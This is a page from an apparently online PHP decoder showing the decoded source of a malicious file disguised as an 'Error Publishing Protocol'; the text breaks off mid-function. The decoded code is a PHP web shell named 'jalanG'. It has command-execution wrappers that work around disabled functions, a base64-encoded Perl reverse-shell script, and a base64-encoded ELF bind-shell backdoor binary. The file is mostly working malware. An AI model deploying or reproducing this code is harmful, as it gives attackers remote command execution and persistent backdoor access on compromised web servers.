Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** * Error Publishing Protocol * * @version 1.0.5-dc */ /** * 500 is ..
Decoded Output download
$sh_id = "jalanG";
$sh_ver = "Powered by jalanG";
$sh_name = base64_decode($sh_id).$sh_ver;
$sh_mainurl = "http://brb.is/.../";
$html_start = '<html><head>
<p align="center">
<title>'.getenv("").' '.$sh_id.'</title><link REL="SHORTCUT ICON" HREF="http://ppa.scisoc.or.th/.../indonesia.gif"></link>
<style type="text/css">
<!--
body,table { font-family:verdana;font-size:11px;color:aqua;background-color:black; }
table { width:100%; }
table,td { border:1px solid black;margin-top:2;margin-bottom:2;padding:5px; }
a { color:lightblue;text-decoration:none; }
a:active { color:#00FF00; }
a:link { color:#5B5BFF; }
a:hover { text-decoration:underline; }
a:visited { color:#99CCFF; }
input,select,option { font:8pt tahoma;color:red;margin:2;border:1px solid lime; }
textarea { color:lime;font:verdana bold;border:1px solid lime;margin:2; }
.fleft { float:left;text-align:left; }
.fright { float:right;text-align:right; }
#pagebar { font:8pt tahoma;padding:5px; border:3px solid black; border-collapse:collapse; }
#pagebar td { vertical-align:top; }
#pagebar p { font:8pt tahoma;}
#pagebar a { font-weight:bold;color:#00FF00; }
#pagebar a:visited { color:#00CE00; }
#mainmenu { text-align:center; }
#mainmenu a { text-align: center;padding: 0px 5px 0px 5px; }
#maininfo,.barheader,.barheader2 { text-align:center; }
#maininfo td { padding:3px; }
.barheader { font-weight:bold;padding:5px; }
.barheader2 { padding:5px;border:2px solid black; }
.contents,.explorer { border-collapse:collapse;}
.contents td { vertical-align:top; }
.mainpanel { border-collapse:collapse;padding:5px; }
.barheader,.mainpanel table,td { border:1px solid green; }
.mainpanel input,select,option { border:1px solid black;margin:0; }
input[type="submit"] { border:1px solid lime; }
input[type="text"] { padding:3px;}
.shell { background-color:black;color:black;padding:5px; }
.fxerrmsg { color:red; font-weight:bold; }
#pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; }
#pagebar,.mainpanel,input[type="submit"] { background-color:black; }
.barheader2,input,select,option,input[type="submit"]:hover { background-color:black; }
textarea,.mainpanel input,select,option { background-color:#000000; }
// -->
</style>
</head>
<body>
';
$host_allow = array("*");
$accessdeniedmess = "<body bgcolor=black><a href=\"$sh_mainurl\"><font color=lime>".$sh_name."</font></a>: <font color=red>access denied</font></body>";
$gzipencode = TRUE;
$filestealth = TRUE;
$curdir = "./";
$tmpdir = "";
$tmpdir_log = "./";
$log_email = "";
$sort_default = "0a";
$sort_save = TRUE;
$sess_cookie = "jalanGvars";
$usefsbuff = TRUE;
$copy_unset = FALSE;
$hexdump_lines = 8;
$hexdump_rows = 24;
$win = strtolower(substr(PHP_OS,0,3)) == "win";
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc)) {
$disablefunc = str_replace(" ","",$disablefunc);
$disablefunc = explode(",",$disablefunc);
}
function get_phpini() {
function U_wordwrap($str) {
$str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
}
function U_value($value) {
if ($value == '') return '<i>no value</i>';
if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
if ($value === null) return 'NULL';
if (@is_object($value)) $value = (array) $value;
if (@is_array($value)) {
@ob_start();
print_r($value);
$value = @ob_get_contents();
@ob_end_clean();
}
return U_wordwrap((string) $value);
}
if (@function_exists('ini_get_all')) {
$r = "";
echo "<table><tr class=barheader><td>Directive</td><td>Local Value</td><td>Global Value</td></tr>";
foreach (@ini_get_all() as $key=>$value) {
$r .= "<tr><td>".$key."</td><td><div align=center>".U_value($value['local_value'])."</div></td><td><div align=center>".U_value($value['global_value'])."</div></td></tr>";
}
echo $r;
echo "</table>";
}
}
function disp_drives($curdir,$surl) {
$letters = "";
$v = explode("\",$curdir);
$v = $v[0];
foreach (range("A","Z") as $letter) {
$bool = $isdiskette = $letter == "A";
if (!$bool) {$bool = is_dir($letter.":\");}
if ($bool) {
$letters .= "<a href=\"".$surl."x=ls&d=".urlencode($letter.":\")."\"".
($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"")."> [";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<font color=yellow>".$letter."</font>";}
$letters .= "]</a> ";
}
}
if (!empty($letters)) {Return $letters;}
else {Return "None";}
}
if (is_callable("disk_free_space")) {
function disp_freespace($curdrv) {
$free = disk_free_space($curdrv);
$total = disk_total_space($curdrv);
if ($free === FALSE) {$free = 0;}
if ($total === FALSE) {$total = 0;}
if ($free < 0) {$free = 0;}
if ($total < 0) {$total = 0;}
$used = $total-$free;
$free_percent = round(100/($total/$free),2)."%";
$free = view_size($free);
$total = view_size($total);
return "$free of $total ($free_percent)";
}
}
if (!function_exists("myshellexec")) {
if(is_callable("popen")) {
function myshellexec($cmd) {
if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; }
while (!feof($p)) {
$line=fgets($p,1024);
$out .= $line;
}
pclose($p);
return $out;
}
} else {
function myshellexec($cmd) {
global $disablefunc;
$result = "";
if (!empty($cmd)) {
if (is_callable("exec") and !in_array("exec",$disablefunc)) {
exec($cmd,$result);
$result = join("
",$result);
} elseif (($result = $cmd) !== FALSE) {
} elseif (is_callable("system") and !in_array("system",$disablefunc)) {
$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
} elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {
$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
} elseif (is_resource($fp = popen($cmd,"r"))) {
$result = "";
while(!feof($fp)) { $result .= fread($fp,1024); }
pclose($fp);
}
}
return $result;
}
}
}
function ex($cfe) {
$res = '';
if (!empty($cfe)) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("
",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
} else { $res = "Ex() Disabled!"; }
}
return $res;
}
function which($pr) {
$path = ex("which $pr");
if(!empty($path)) { return $path; } else { return $pr; }
}
$back_connect_pl = "IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7CiRjbWQ9ICJzbGVlcCI7CiRzeXN0ZW09ICdlY2hvICJgdW5hbWUgLWFgIjtlY2hvICJgaWRgIjtlY2hvICJgY2F0IC9ldGMvaXNzdWVgIjtlY2hvICJgY2F0IC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyYCI7SElTVEZJTEU9L2Rldi9udWxsIC9iaW4vc2ggLWknOwokMD0kY21kOwokdGFyZ2V0PSRBUkdWWzBdOwokcG9ydD0kQVJHVlsxXTsKJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7CiRwYWRkcj1zb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7CiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7CnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKY29ubmVjdChTT0NLRVQsICRwYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOwpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsKb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOwpvcGVuKFNUREVSUiwgIj4mU09DS0VUIik7CnN5c3RlbSgkc3lzdGVtKTsKY2xvc2UoU1RESU4pOwpjbG9zZShTVERPVVQpOwpjbG9zZShTVERFUlIpOw";
$backdoor = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
function cf($fname,$text) {
$w_file=@fopen($fname,"w") or err();
